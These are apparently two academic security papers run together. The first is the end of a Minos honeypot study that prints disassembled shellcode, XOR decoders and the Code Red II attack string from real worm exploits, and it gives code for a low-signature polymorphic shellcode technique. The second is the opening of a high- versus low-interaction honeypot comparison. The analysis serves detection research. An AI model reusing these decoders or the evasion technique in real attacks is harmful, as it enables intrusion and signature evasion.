Uncertainty About the Location of the Payload Code

The assumed purpose for NOP sleds, or long sequences of operations that do
nothing useful except increment the program counter, is that the attack can
jump to any point in the NOP sled and execution will eventually begin at the
desired point at the end of the slide. Because of the register springing described
above, NOP sleds are largely unnecessary to reach the beginning of the payload
code, and once the payload code is running there should be no need for NOP
sleds. Sometimes they seem to be used just to avoid using a calculator, as in this
example from the LSASS exploit:

01dbdbd8: jmp 01dbdbe8 ; eb0e

01dbdbda: add DS:[ECX], EAX ; 0101

01dbdbdc: add DS:[ECX], EAX ; 0101

01dbdbde: add DS:[ECX], EAX ; 0101
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01dbdbe0: add DS:[EAX + ae], ESI ; 0170ae

01dbdbe3: inc EDX ; 42

01dbdbe4: add DS:[EAX + ae], ESI ; 0170ae

01dbdbe7: inc EDX ; 42

01dbdbe8: nop ; 90

01dbdbe9: nop ; 90

01dbdbea: nop ; 90

01dbdbeb: nop ; 90

01dbdbec: nop ; 90

01dbdbed: nop ; 90

01dbdbee: nop ; 90

01dbdbef: nop ; 90

01dbdbf0: push 42b0c9dc ; 68dcc9b042

01dbdbf5: mov EAX, 01010101 ; b801010101

01dbdbfa: xor ECX, ECX ; 31c9

A slightly longer jump of “eb16” would have the same effect and skip the
NOP sled altogether, or alternatively the code that is jumped to could just be
moved up 8 bytes. Probably none of the exploits analyzed actually needed NOP
sleds except for the ssh exploit. When NOP sleds were used they were entered at
a predetermined point. Many NOP sleds led to code that does not disassemble
and will cause an illegal instruction or memory fault, such as wu-ftpd or this
example from the SQL Server 2000 Hello buffer overflow exploit:

<exploit+533>: nop ; 90

<exploit+534>: nop ; 90

<exploit+535>: nop ; 90

...

<exploit+546>: nop ; 90

<exploit+547>: nop ; 90

<exploit+548>: (bad) ; ff

<exploit+549>: (bad) ; ff

<exploit+550>: (bad) ; ff

<exploit+551>: call *0x90909090(%eax) ; ff9090909090

<exploit+557>: nop ; 90

...

<exploit+563>: nop ; 90

<exploit+564>: (bad) ; ff

<exploit+565>: (bad) ; ff

<exploit+566>: (bad) ; ff

<exploit+567>: call *0xdc909090(%eax)

<exploit+573>: leave

<exploit+574>: mov $0x42,%al

<exploit+576>: jmp 0x804964a <exploit+586>

<exploit+578>: rolb 0x64(%edx)

Apropos to this, we noticed that many exploits waste a great deal of space
on NOPs and filler bytes that could be used for executable code. For the LSASS,
ASN.1, and Linux ssh exploits this amounted to dozens of kilobytes. This sug-
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gests that when developing polymorphic coding techniques the waste of space
by any particular technique is not really a major concern.

The limited usefulness of NOP sleds is an important point because it is
common to consider the NOP sled as an essential part of the exploit and use
this as an entry point into discovering and analyzing zero-day attacks. Abstract
payload execution [9] is based on the existence of a NOP sled, for example. Much
of the focus of both polymorphic shellcode creation and detection has been on
the NOP sled [10, 11, 12, 13], which may not be the appropriate focus for actual
Windows-based attacks.

3.3 Hackers Have Not Yet Demonstrated the Needed Techniques
to Write Polymorphic Worm Code

It is assumed that hackers have the ability to write polymorphic worm code,
and polymorphic viruses are commonplace, but no notable Internet worms have
employed polymorphism. However, while we did not observe any polymorphic
attacks, in several exploits the needed techniques are already in place for other
reasons and may give hints as to what polymorphic versions of these decoders
would look like and how large they would be.

In the LSASS exploit, for example, the attack code is XORed with the byte 0x99
to remove zeroes which would have terminated the buffer overflow prematurely:

00baf160: jmp 00baf172 ; eb10

00baf162: pop EDX ; 5a

00baf163: dec EDX ; 4a

00baf164: xor ECX, ECX ; 33c9

00baf166: mov CX, 017d ;66b97d01

00baf16a: xor DS:[EDX + ECX<<0], 99 ; 80340a99

00baf16e: loop 00baf16a ; e2fa

00baf170: jmp 00baf177 ; eb05

00baf172: call 00baf162 ; e8ebffffff

This technique was published in [14]. The initial code in the LSASS exploit
that runs to unpack the main part of the payload is only 23 bytes. This leaves
a 23-byte signature, which is substantial, but small enough to evade network-
based worm detection and signature generation techniques such as EarlyBird
[15], which looks for 40-byte common substrings, assuming the exploit vector
part of the attack is less than 40 bytes. The largest Maximum Executable Length
(MEL) observed for normal HTTP traffic in [9] was 16 bytes, so we might con-
sider this a good target size for a payload decryptor.

Of course, the attack is not polymorphic if the same XOR key is used every
time, plus XORing does leave a signature in the XORs between elements [10].
Another reversible operation such as addition would be preferable. The DCOM
exploit’s unpacking routine is 32 bytes long and has a 4-byte stride also using
an XOR operation:

005bf843: jmp 005bf85e ; eb19

005bf845: pop ESI ; 5e
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005bf846: xor ECX, ECX ; 31c9

005bf848: sub ECX, ffffff89 ; 81e989ffffff

005bf84e: xor DS:[ESI], 9432bf80 ; 813680bf3294

005bf854: sub ESI, fffffffc ; 81eefcffffff

005bf85a: loop 005bf94e ; e2f2

005bf85c: jmp 005bf863 ; eb05

005bf85e: call 005bf845 ; e8e2ffffff

The Hello buffer overflow exploit for SQL Server 2000 uses the same technique
as the LSASS decoder but we observed several different instances of the payload
that is unpacked. This was probably a feature in the exploit allowing “script
kiddies” to insert their favorite shellcode and have all of the zeroes removed.
The unpacking routine is only 19 bytes:

<snippet+596>: mov %esp,%edi

<snippet+598>: inc %edi

<snippet+599>: cmpl $0xffffffeb,(%edi)

<snippet+602>: jne <snippet+598>

<snippet+604>: xorb $0xba,(%edi)

<snippet+607>: inc %edi

<snippet+608>: cmpl $0xffffffea,(%edi)

<snippet+611>: jne <snippet+604>

<snippet+613>: jmp <snippet+619>

The wu-ftpd exploit for Linux showed more creativity in the exploit code than
is usual. The exploit writer seemed to use the misalignment of x86 instructions
in combination with a seemingly useless read() system call of three bytes to
obfuscate how the attack actually worked. The attack has a fake NOP sled:

0x807fd71: or $0xeb,%al

0x807fd73: or $0xeb,%al

0x807fd75: or $0xeb,%al

0x807fd77: or $0xeb,%al

0x807fd79: or $0x90,%al

0x807fd7b: nop

0x807fd7c: nop

0x807fd7d: nop

0x807fd7e: nop

0x807fd7f: nop

0x807fd80: xchg %eax,%esp

0x807fd81: loope 0x807fd89

0x807fd83: or %dl,0x43db3190(%eax)

0x807fd89: mov $0xb51740b,%eax

0x807fd8e: sub $0x1010101,%eax

0x807fd93: push %eax

0x807fd94: mov %esp,%ecx

0x807fd96: push $0x4

0x807fd98: pop %eax

0x807fd99: mov %eax,%edx

0x807fd9b: int $0x80
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This looks like valid code leading to a write() system call as long as control
flow lands in the NOP sled, but in fact this will cause a memory fault. Because
Minos reports the exact location where execution of the malcode begins it is
easy to see the real payload code:

0x807fd78: jmp 0x807fd86

0x807fd7a: nop

0x807fd7b: nop

0x807fd7c: nop

0x807fd7d: nop

0x807fd7e: nop

0x807fd7f: nop

0x807fd80: xchg %eax,%esp

0x807fd81: loope 0x807fd89

0x807fd83: or %dl,0x43db3190(%eax)

0x807fd89: mov $0xb51740b,%eax

0x807fd8e: sub $0x1010101,%eax

The attack jumps into the middle of the junk OR instruction and continues.

0x807fd86: xor %ebx,%ebx ; ebx = 0

0x807fd88: inc %ebx ; ebx = 1

0x807fd89: mov $0xb51740b,%eax

0x807fd8e: sub $0x1010101,%eax

; eax = 0x0a50730a

0x807fd93: push %eax

0x807fd94: mov %esp,%ecx ; ecx = &Stack Top

0x807fd96: push $0x4

0x807fd98: pop %eax ; eax = 4

0x807fd99: mov %eax,%edx ; edx = 4

0x807fd9b: int $0x80

; write(0, "\nsP\n", 4);

0x807fd9d: jmp 0x807fdad

The attack then reads 3 bytes from the open network socket descriptor to the
address 0x807fdb2 and jumps to that address. This is where the 3 byte payload
would have been downloaded and then executed, except that Minos stopped the
attack so the rest of the exploit code was never downloaded:

0x807fdb2: or (%eax),%al

0x807fdb4: add %al,(%eax)

0x807fdb6: add %al,(%eax)

0x807fdb8: add %al,(%eax)

0x807fdba: add %al,(%eax)

0x807fdbc: add %al,(%eax)

0x807fdbe: add %al,(%eax)

0x807fdc0: enter $0x91c,$0x8

0x807fdc4: (bad)

0x807fdc5: (bad)

0x807fdc6: (bad)
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What 3 byte payload could possibly finish the attack? A 3 byte worm? A
3 byte shell code? Our speculation is that the next three bytes read from the
attacker’s network socket descriptor would have been “0x5a 0xcd 0x80”. All of
the registers are setup to do a read() system call to where the program counter
is already pointing, the only requirement missing is a larger value than 3 in the
EDX register to read more than three bytes. There is a very large value on the
top of the stack so the following code would download the rest of the exploit and
execute it:

pop %edx ;0x5a

int $0x80 ;0xcd80 (Linux system call)

While Code Red II was not polymorphic it is interesting to note that the ex-
ecutable code that serves as a hook to download the rest of the payload contains
only 15 distinct byte values which are repeated and permuted to make up the
executable code plus bogus SEH pointer for the hook. The bogus SEH pointer is
actually woven into the payload’s hook code. The attack comes over the network
as an ASCII string with UNICODE encodings. The reader is encouraged to try
to use the simple model of buffer overflows in Figure 1 to determine which parts
of this string are NOPs (0x90), which parts are executable code, and which part
is the bogus SEH pointer (0x7801cbd3):

GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090

%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090

%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003

%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0

Only these 15 byte values appear: 0x90, 0x68, 0x58, 0xcb, 0xd3, 0x78, 0x01,
0x81, 0x00, 0xc3, 0x03, 0x8b, 0x53, 0x1b, and 0xff. The EBX register points
directly at the beginning of the UNICODE-encoded part so there is no need for
the 2-byte NOP sled. After being decoded by the IIS web server’s ASCII-to-
UNICODE conversion the executable code looks like this:

0110f0f0: nop ; 90

0110f0f1: nop ; 90

0110f0f2: pop EAX ; 58

0110f0f3: push 7801cbd3 ; 68d3cb0178

0110f0f8: add DL, DS:[EAX + cbd36858] ; 02905868d3cb

0110f0fe: add DS:[EAX + 90], EDI ; 017890

0110f101: nop ; 90

0110f102: pop EAX ; 58

0110f103: push 7801cbd3 ; 68d3cb0178

0110f108: nop ; 90

0110f109: nop ; 90

0110f10a: nop ; 90
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0110f10b: nop ; 90

0110f10c: nop ; 90

0110f10d: add EBX, 00000300 ; 81c300030000

0110f113: mov EBX, DS:[EBX] ; 8b1b

0110f115: push EBX ; 53

0110f116: call DS:[EBX + 78] ; ff5378

Note that the same byte sequences take on different roles. The sequence
0x0178 is at once part of the bogus SEH pointer (0x7801cbd3), then part of
a reference pointer pushed onto the stack for relative pointer calculations, and
then part of the “ADD DS:[EAX + 90], EDI” instruction. The double word
0x5868d3cb is either an offset in “ADD DL, DS [EAX + cbd36858]” or part of
“POP EAX; PUSH 7801cbd3”. The NOP is less useful as a non-operation as it
is an offset in “ADD DS:[EAX + 90], EDI” or part of the instruction in “ADD
DL, DS:[EAX + cbd36858]”.

What purpose does all of this serve? Using the simple model of buffer over-
flows in Figure 1 and looking once more at the UNICODE-encoded machine
code in the attack string shows that an automated analysis based on heuristics
of this simple model, and without the precise information provided by Minos at
the time of control flow hijacking, will probably fail.

The ASN.1 exploit may have contained some limited polymorphism to bypass
anomaly-based network intrusion detection mechanisms. The main part of the
payload is encoded using First Level Encoding, which is a common encoding for
Windows file sharing traffic. The payload decoding routine is not encoded and
yields 248 bytes of executable payload from 496 bytes of encoded data. Also, INC
ECX (0x41) is used instead of NOP (0x90), though the NOP sled is presumably
unnecessary because of register springing.

It seems that the smallest decryptors, polymorphic or not, are between 10
and 20 bytes which leaves a significant signature. Binary rewriting techniques
such as using different registers are possible, but this is very complicated and
not necessary. The limiting assumption is that the decryptor and the encrypted
shellcode need be disjoint sets of bytes. For research purposes we have developed
and tested a simple polymorphic shellcode technique that leaves a signature of
only 2 bytes. The basic idea is to move a randomly chosen value into a register
and successively add to it a random value and then a carefully chosen comple-
ment and push the predictable result onto the stack, building the shellcode or
perhaps a more complex polymorphic decryptor backwards on the stack using
single-byte operations.

mov eax,030a371ech ; b8ec71a339

add eax,0fd1d117fh ; 057f111dfd

add eax,0b00c383fh ; 053f380cb0

push eax ; 50

add eax,03df74b4bh ; 054b4bf73d

add eax,0e43bf9ceh ; 05cef93be4

push eax ; 50

...

add eax,02de7c29dh ; 059dc2e702
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Table 4. Characteristics of the Projections

ε γ π

Typical Range Exploit vector Bogus control data Attack payload code

Relationship to Bogus Before During After
Control Transfer

Possible Polymorphic Limited by Register spring Numerous
Techniques the system or NOP sled

Example Detection Shield, Minos, Network IDS
Techniques DACODA Buttercup

add eax,014b05fd8h ; 05d85fb014

push eax ; 50

add eax,06e7828dah ; 05da28786e

call esp ; ffd4

The 2-byte signature is due to the “CALL ESP” at the end as well as the
sequence, “PUSH EAX, ADD EAX...”. These could be trivially removed respec-
tively by making the last 32-bit value pushed onto the stack a register spring to
ESP to use a “RET” instead of “CALL ESP”, and by using different registers
with a variety of predictable 8-, 16-, and 32-bit operations, leaving no byte string
signature at all.

4 The Epsilon-Gamma-Pi Model

Figure 2 summarizes the new Epsilon-Gamma-Pi model we propose to help un-
derstand control data attacks and the polymorphism that is possible for such
exploits. This model encompasses all control data attacks, not just buffer over-
flows. By separating the attack into ε, γ, and π we can be precise in describing
exactly what we mean by polymorphism in this context and be precise about
what physical data is actually meant by terms like “payload” and “bogus control
data”. As a motivating example, consider the “bogus control data” of Code Red
II. When we say “bogus control data” do we mean the actual bogus SEH pointer
0x7801cbd3 stored in little endian format within the Pentium processor’s mem-
ory as “0xd3 0xcb 0x01 0x78”, or do we mean the UNICODE-encoded network
traffic “0x25 0x75 0x63 0x62 0x64 0x33 0x25 0x75 0x37 0x38 0x30 0x31”? By
viewing control data attacks as projections we can avoid such confusions.

The Epsilon-Gamma-Pi model is based on projecting bytes from the network
packets the attacker sends onto the attack trace (the trace of control flow for
the system being attacked). A byte of network traffic can affect the attack trace
by being mapped into data which is used for conditional control flow decisions
(typical of ε), being mapped onto control data which directly hijacks the control
flow trace and diverts it to someplace else (typical of γ), or being mapped into
executable code which is run (typical of π). Note also that these projections may
not be simple transpositions, but may also involve operations on data such as
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Fig. 2. The Epsilon-Gamma-Pi Model for Control Data Exploits

UNICODE decodings. The row space of a projection is the set of bytes of the
network traffic that actually are projected onto the attack trace by that projec-
tion and therefore affect the trace. Conversely, the null space of a projection is
that set of bytes for which the projection has no effect on the attack trace, or in
other words the bytes that do not matter for that projection. The range of the
projection is the set of physical data within the processor that is used to modify
the attack trace somehow because of that projection. The projection is chosen
by the attacker but limited by the protocols and implementation of the system
being attacked.

The projection ε is a function which maps bytes from the network pack-
ets onto the attack trace before the bogus control flow transfer occurs. The
projection captured by Minos is γ, which maps the part of the network traffic
containing the bogus control data onto the actual physical control data that is
used for the bogus control flow transfer. Executable payload code and the data
it uses would be mapped by π from the network packets to the code that is run,
the distinction from ε being that these bytes only matter after the bogus control
transfer has occurred.

4.1 Epsilon (ε) = Exploit

The attacker has much less control over ε than the system being attacked does,
because this mapping is the initial requests that the attacker must make before
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the control data attack can occur. For example, the “GET” part of the Code
Red II exploit causes the vulnerable server to follow the trace of a GET request
rather than the trace of a POST request or the trace of an error stating that
the request is malformed. The row space of ε is all of the parts of the network
packets that have some predicate required of them for the bogus control flow
transfer to occur. The null space of ε is those parts of the network traffic which
can be arbitrarily modified without changing the attack trace leading up to the
bogus control flow transfer. The physical data, after it is processed and operated
on, which is used in actual control flow decisions constitutes the range of ε. We
will defer a quantitative characterization of ε and the degree of polymorphism
available to an attacker for ε to future work where we will use an automated tool
named DACODA.

4.2 Gamma (γ) = Bogus Control Data

For Code Red II γ would be the projection which maps the UNICODE encoded
network traffic “0x25 0x75 0x63 0x62 0x64 0x33 0x25 0x75 0x37 0x38 0x30
0x31” onto the bogus SEH pointer 0x7801cbd3. Note that γ captures both the
UNICODE encoding and the fact that the Pentium architecture is little endian.

For a format string control data attack, where typically an arbitrary bo-
gus control data value is built by adding size specifiers and then written to
an arbitrary location, γ captures the conversion of a format string such as
“%123d%123d%123d%n” into the integer 369. Note that the characters “%”,
“d”, and “n” are also projected by ε.

4.3 Pi (π) = Payload

Typically control data attacks will execute an arbitrary machine code payload
after control flow is hijacked, so the range of π is the arbitrary machine code
that is executed and the data it uses. Alternatively, in a return-into-libc attack
[16] the range of π may contain the bogus stack frames. The row space of π is the
bytes of network traffic that are used for either payload code or data after the
bogus control flow transfer takes place. For the Code Red II example a portion
of the row space of π is UNICODE encoded and another portion is not, but the
long string “XXXXXXXXXX...XXXX” is in the null space of π because it has
no effect on the attack trace after the bogus control flow transfer occurs.

4.4 On Row Spaces and Ranges

There is no reason why the row spaces of ε, γ, and π need be disjoint sets.
Using our Code Red II example the network traffic “0x25 0x75 0x63 0x62 0x64
0x33 0x25 0x75 0x37 0x38 0x30 0x31” is in the intersection of the row space of
γ and the row space of π. Placement of these bytes in the row space of ε is a
more subtle concept. Changing these bytes to “0x58 0x58 0x58 0x58 0x58 0x58
0x58 0x58 0x58 0x58 0x58 0x58” (or “XXXXXXXX”) will still cause the bogus
control flow transfer to occur, but changing them to “0x25, 0x75, 0x75, 0x75,
0x75, 0x75, 0x25, 0x75, 0x75, 0x75, 0x75, 0x75” (or “%uuuuu%uuuuu”) will
probably return a malformed UNICODE encoding error, so really these bytes



Experiences Using Minos as a Tool for Capturing 47

are also in the row space of ε. The ranges of the three projections may overlap
as well.

In [17] the idea of automatically generating a white worm to chase a black
worm and fix any damage done to infected hosts was explored. Legal and ethical
issues aside, generating a new worm with a new payload reliably and consistently
is the ultimate demonstration that any particular worm analysis technique is
effective. To attach the white worm payload to the exploit vector in [17] the as-
sumption was made that the payload code is concatenated to the exploit vector,
an assumption based on the simple model of buffer overflow exploits. This func-
tionality was demonstrated on Slammer, a very simple worm. A major problem
with assuming that the executable payload code (the row space of π) and the
exploit vector (the row space of ε) are disjoint sets of bytes and do not overlap is
that arbitrary code from the black worm can be left behind in the white worm.
The hook part of the payload for Code Red II is also part of the exploit vector,
so using the simple heuristic algorithm in [17] will leave part of the payload of
the black worm in the white worm. This example illustrates why treating ε, γ,
and π as projections is important.

4.5 Polymorphism in the Epsilon-Gamma-Pi Model

These abstractions adapt easily to polymorphic worms, which is the main mo-
tivating factor for the Epsilon-Gamma-Pi model. A polymorphic worm would
want to change these projections so that knowledge about the attack trace on
a machine that is attacked (the ranges of ε, γ, and π) could not be used to
characterize the worm’s network packets (the row spaces of ε, γ, and π). Such a
characterization would allow for the worm to be identified as it moved over the
network. As such, the attacker needs to change these projections every time the
worm infects a new host or somehow prevent a worm detection system from sat-
isfactorily characterizing them. Here we will consider only polymorphism with
respect to signature-based detection.

The most simple projection to make polymorphic is π. At the end of Section 3
we showed that the signature of π can be as small as 2 bytes, or even be totally
removed. In general, π is more favorable to the attacker because the range of π
(the possible things the attack might do once control flow has been hijacked) is
a very large set.

A better approach to detecting polymorphic worms is to characterize γ. But-
tercup [18] is a technique based on γ which can detect worms in Internet traffic
with a very low false positive rate. The basic idea is to look for the bogus control
data the worm uses in the network traffic. For format string exploits a great deal
of polymorphism is available in γ because the arbitrary value written is a sum of
many integers, so the attacker could, for instance, replace “%100d%100d%100d”
with “%30f%20x%250u”. Because of register springing γ can be polymorphic for
non-format-string exploits as well but this is limited to the number of occurrences
of jumps or calls to the appropriate register that are mapped into the address space
of the vulnerable program, or the size of the NOP sled. This allows only a moder-
ate degree of polymorphism, but enough to warrant looking further.



48 J.R. Crandall, S.F. Wu, and F.T. Chong

An even more fertile place to find characterizations of worms is ε. There
are certain characteristics of the worm network traffic that must be present
in order for the bogus control flow transfer to occur. For example the LSASS
exploit must have “\PIPE\lsarpc” and a particular field of a logged record that
is too long for the buffer overflow to occur. Shield [19] is based on this idea.
Shields are characterizations of the vulnerability such that requests that meet
that characterization can be assumed to be attacks and dropped. Shields can only
be applied to known vulnerabilities, but automated analysis of a zero day worm
could yield a similar characterization of ε that would be exploit-specific. The
future works section will discuss such an automated analysis technique named
DACODA.

Control flow hijacking does not always occur at the machine level and there-
fore might be missed by Minos. Higher level languages such as Perl and PHP can
also confuse data from an attacker for code, as occurred recently in the Santy
worm, but this model and these basic ideas still apply. The only difference is
that the range of π would be, for example, Perl code interpreted by the Perl
interpreter and not Pentium machine code, and γ would apply to higher level
commands rather than control data. As pointed out in [20], Perl already has a
mechanism similar to Minos or TaintCheck.

5 Related Work

There are several large honeypot projects such as Honeynet [21] or the Eurecom
honeypot project [22]. These projects have a much wider scope and can therefore
report more accurately on global trends. Minos was designed for automated
analysis of zero-day worm exploits and the focus is on a very detailed analysis of
the exploit itself. Another benefit of the Minos approach is that Minos only raises
alerts when there is an actual attack. Simpler honeypot approaches assume, for
example, that any outgoing traffic signals an infection which will create false
positives if the honeypot joins peer-to-peer networks. Also, a different paradigm
of worms called contagion worms was considered in [23] that propagate over
natural communication patterns and create no unsolicited connections. Minos
can detect such worms, assuming the worm is based on a control data exploit,
while passive honeypots cannot.

Two projects very similar to the Minos architecture were developed con-
currently and independently. Dynamic information flow tracking [24] is also
based on hardware tag bits, while TaintCheck [20] is based on dynamic binary
rewriting.

Automatic detection of zero day worms paired with automated analysis and
response is a budding research area. A scheme for automatic worm detection
and patch generation was introduced in [25]. Buffer overflow detection in this
scheme is based on simple return pointer protection that reports the offending
function and buffer, and patching is accomplished by relocating the buffer and
sandboxing it. Honeystat [26] uses memory, network, and disk events to detect
worms, where memory events are also based on simple return pointer protection.
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Minos catches a broader range of control data attacks and does not modify the
address space of the vulnerable process so a more precise analysis is possible.

6 Future Work

We plan to extend Minos with a technique called DACODA which will operate
on the attack trace in real time during an exploit and produce an exploit-specific
characterization of ε using symbolic execution. Minos and DACODA operate on
raw network packets and treat the system as a black box on top of the physical
machine. Context switches between processes, interprocess communication, or
packet processing within the operating system kernel are seen by Minos and
DACODA as physical operations on memory and registers. As such, analysis of
actual complex worms is practical.

7 Conclusions

We have presented a honeypot technique based on the Minos architecture. Be-
cause Minos is orthogonal to the memory model and is applied throughout the
entire system, and because it stops a wide variety of control data attacks at
the critical point where control flow is hijacked, it is particularly suited for au-
tomated analysis of the exploit. Minos’ virtually zero false positive rate and
ability to detect control data attacks make it particularly amenable to catching
contagion worms or peer-to-peer network worms in environments where passive
honeypots would report many false positives.

We have also described complexities of real exploits analyzed using Minos
that are not captured by the simple model of buffer overflow exploits that is
prevalent in the literature. The new model proposed in this paper encompasses
all control data attacks and provides useful abstractions towards understanding
how exploits work and automatically analyzing unknown exploits that may be
polymorphic.
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Abstract. Our research focuses on the usage of honeypots for gathering
detailed statistics on the Internet threats over a long period of time. In
this context, we are deploying honeypots (sensors) of different interaction
levels in various locations.

Generally speaking, honeypots are often classified by their level of
interaction. For instance, it is admitted that a high interaction approach
is suited for recording hacker shell commands, while a low interaction
approach provides limited information on the attackers’ activities. So far,
there exists no serious comparison to express the level of information on
which those approaches differ. Thanks to the environment that we are
deploying, we are able to provide a rigorous comparison between the two
approaches, both qualitatively and quantitatively. We build our work on
an interesting classification of the observed attacks, and we pay particular
attention during the comparison to the bias introduced by packet losses.

The proposed analysis leads to an interesting study of malicious ac-
tivities hidden by the noise of less interesting ones. Finally, it shows the
complementarities of the two approaches: a high interaction honeypot
allows us to control the relevance of low interaction honeypot configu-
rations. Thus, both interaction levels are required to build an efficient
network of distributed honeypots.

1 Introduction

Many solutions exist for observing malicious traffic on the Internet. However,
they often consist in monitoring a very large number of IP addresses like a
whole class A network or a large range of unused IPs. Several names have
been used to describe this technique, such as network telescopes [1,2], blackholes
[3, 4], darknets [5] and Internet Motion Sensor (IMS) [6]. Some other solutions
consist in passive measurement of live networks by centralizing and analyzing
firewall logs or IDS alerts [7, 8]. A few websites report such trends like DShield,
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SANS/ISC or MyNetwatchman [9, 7, 10]. Coarse-grained interface counters and
more fine-grained flow analysis tools such as NetFlow [11] offer another readily
available source of information.

So far, nobody has investigated the possibility of using a large number of local
and similar sensors deployed all over the Internet. However, we strongly believe
that local observations can complement the more global ones listed above. A
direct analogy can be made here with weather forecast or volcanic eruption pre-
diction, where both global and local approaches are applied. As a consequence,
we are on the way to deploying many small honeypot environments in various
locations thanks to motivated partners, as part of the Leurre.com Project. The
main objective is to gather statistics and precise information on the attacks that
occur in the wild on a long-term perspective. We have initially used high in-
teraction honeypots. Then, because of the incoming and increasing number of
participants in addition to the hard constraints imposed by their implementa-
tion, we have considered the idea of deploying low interaction honeypots. At the
time of writing, some environments of different interaction levels are running.
We invite the interested reader to have a look at the existing publications for
more information on that point [12,13,14].

An important issue that must be addressed with such deployment is the bias
introduced by the choice of low interaction platforms. The environmental setup
we present here gives us the opportunity to make a rigorous comparison of two
different interaction approaches, both qualitatively and quantitatively. So far,
such a comparison did not exist. Honeypots have been classified in interaction
categories without concrete justification [15]. For instance, it is admitted that a
high interaction approach is suited for recording hacker shell commands, while
a low interaction approach provides limited information on the attackers’ activ-
ities. This paper intends to show that this classification is too restrictive. As far
as our research objectives are concerned, both approaches present value. The
contributions of this paper are the following:

– We show that both approaches provide very similar global statistics based
on the information we collect.

– A comparison of data collected by both types of environments leads to an
interesting study of malicious activities that are hidden by the noise of less
interesting ones.

– This analysis highlights the complementarities of the two approaches: a high
interaction honeypot offers a simple way to control the relevance of low in-
teraction honeypot configurations and can be used as an effective etalon
system. Thus, both interaction levels are required to build an efficient net-
work of distributed honeypots.

The rest of the paper is structured as follows: Section 2 describes and justifies
the setup of the distributed honeypot. This environment has been implemented
in two different ways corresponding to two distinct interaction levels. The anal-
ysis is then built on these two approaches. Section 3 introduces a comparison
of global statistics obtained by means of these two distinct implementations. In
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particular, we show the similarity of the information provided by the two envi-
ronments. In Section 4 we take a closer look at some activities that are apparently
different between platforms. This in-depth study of both platforms leads to the
discovery of strange attack scenarios that require particular attention. We fi-
nally explain to what extent high interaction honeypots can be used as reference
systems to optimize the configuration of low interaction ones. These two last
Sections provide rationales for the Leurre.com project that we are deploying.
Finally, Section 6 concludes this paper.

2 Environment Setup: Two Different Levels of
Interaction

2.1 High Interaction Experimental Setup – H1

We have presented in previous publications [12,16] some experiments based on so
called ”high interaction honeypots”. This environment, called in the following
H1, is a virtual network built on top of VMware (see Figure 1) [17]. Three
machines are attached to a virtual Ethernet switch 1 supporting ARP spoofing.
The VMware commercial product enables us to configure them according to our
specific needs. mach0 is a Windows98 workstation, mach1 is a Windows NT
Server and mach2 is a Linux Redhat 7.3 server. The three virtual guests are
built on non-persistent disks [17]: changes are lost when virtual machines are
powered off or reset. We perform regular reboots to guarantee that the virtual
machines are not compromised, as the objective is to gather statistical data in
a long-term perspective. A fourth virtual machine is created to collect data in
the virtual network. It is also attached to the virtual switch and tcpdump is
used as a packet gatherer [18]. This machine and the VMware host station are
as much as possible invisible from the outside. Both mach0 and mach2 run an
ftp server; in addition, mach1 provides a web server. Logs are collected daily and
transferred to a centralized and secure place.

We have also made some comparisons with another deployed ”high interac-
tion” honeypot called GenII [19]. However, the collected data were based on
snort-inline 2 alerts. First, alerts provide different information than raw data
(see Section 2.3 to find explanations on the information we can extract) and are
quite likely false positives. Second, snort-inline drops packets based on the way
it estimates risk. These two reasons have prevented us from making interest-
ing comparisons at this stage. Thus, we do not refer to this architecture in the
following.

2.2 Low Interaction Experimental Setup – H2

We have deployed a platform called H2 similar to H1 presented before, but with
emulated operating systems and services. We have developed it based on several

1 A switch in the VMware jargon actually behaves like a hub.
2 snort-inline is an open source Intrusion Prevention System (IPS).
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Fig. 1. H1 Environment scheme

open source utilities. Indeed, it consists in a modified version of honeyd [20]. The
platform only needs a single host station, which is carefully secured by means of
access controls and integrity checks. This host implements a proxy ARP. This
way, the host machine answers to requests sent to several IP addresses. Each
IP is bound to a certain profile (or personality in the honeyd jargon). Thus, H2

emulation capacity is limited to a configuration file and a few scripts. It emulates
the three same Operating Systems as H1 for mach0, mach1 and mach2. We have
scanned the open ports in H1 and opened the very same ones in the honeyd con-
figuration file for each of the three virtual machines. Some service scripts that
are available in [20] have been linked to open ports, like port 80 (web server) or
port 21 (ftp). As a consequence, H2 can be seen as offering a similar yet simpli-
fied behavioral model of H1. In the same manner, we connect every day to the
host machine to retrieve traffic logs and check the integrity of chosen files.

2.3 Information Extraction

As previously explained, dump files are periodically collected from H1 and H2

and are stored in a centralized database. There, they are analyzed by means of
other utilities and additional information is brought in, such as IP geograph-
ical location, domain name resolution, passive OS fingerprinting, TCP stream
analysis, etc. For the sake of conciseness, we do not want to detail the database
architecture and the way we obtain information in this paper; we invite the in-
terested reader to look at our previous publications, where we have described
the setup in detail [21, 14].

3 Global Statistics Analysis

3.1 Introduction

Honeypots can be seen as black boxes : they describe a system whose internal
structure is not known. All what matters is that the device transforms given
inputs into predictable outputs.
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In our case, incoming malicious requests are the input and provided replies
are the output. Let I1 be the quantity of information from Honeypot H1 (the
high interaction honeypot). In the same way, let I2 be the quantity of infor-
mation provided by Honeypot H2 (the low interaction honeypot). Intuitively,
we expect I2 � I1. However, it is more difficult to estimate to which extent I2

brings less information. The following Sections intend to qualify and quantify
this information difference I1 − I2.

The initial setting is the following: environments H1 and H2 are both placed
in the same network. The virtual machines mach0, mach1 and mach2 have three
adjacent IPs in H1, say X.X.X.1, X.X.X.2, X.X.X.3. In a similar way, virtual ma-
chines mach0, mach1 and mach2 have in H2 contiguous addresses, resp. X.X.X.6,
X.X.X.7, X.X.X.8.

H1 has been running since February 2003. Environment H2 started running
on July 2004. A technical problem prevented us from collecting the whole month
of November 2004. Thus, we will focus on data collected on both environments
from August 2004 to October 2004, that is 10 continuous weeks.

We propose in the following Section to study the differences between the two
platforms in that period, thanks to the information stored in the database (see
Section 2.3).

3.2 Attack Categories

Both environments H1 and H2 are targets of attacks. Each environment contains
three virtual machines running different services and different OSs. They are not
equally targeted. This leads us to define three major categories of attacks:

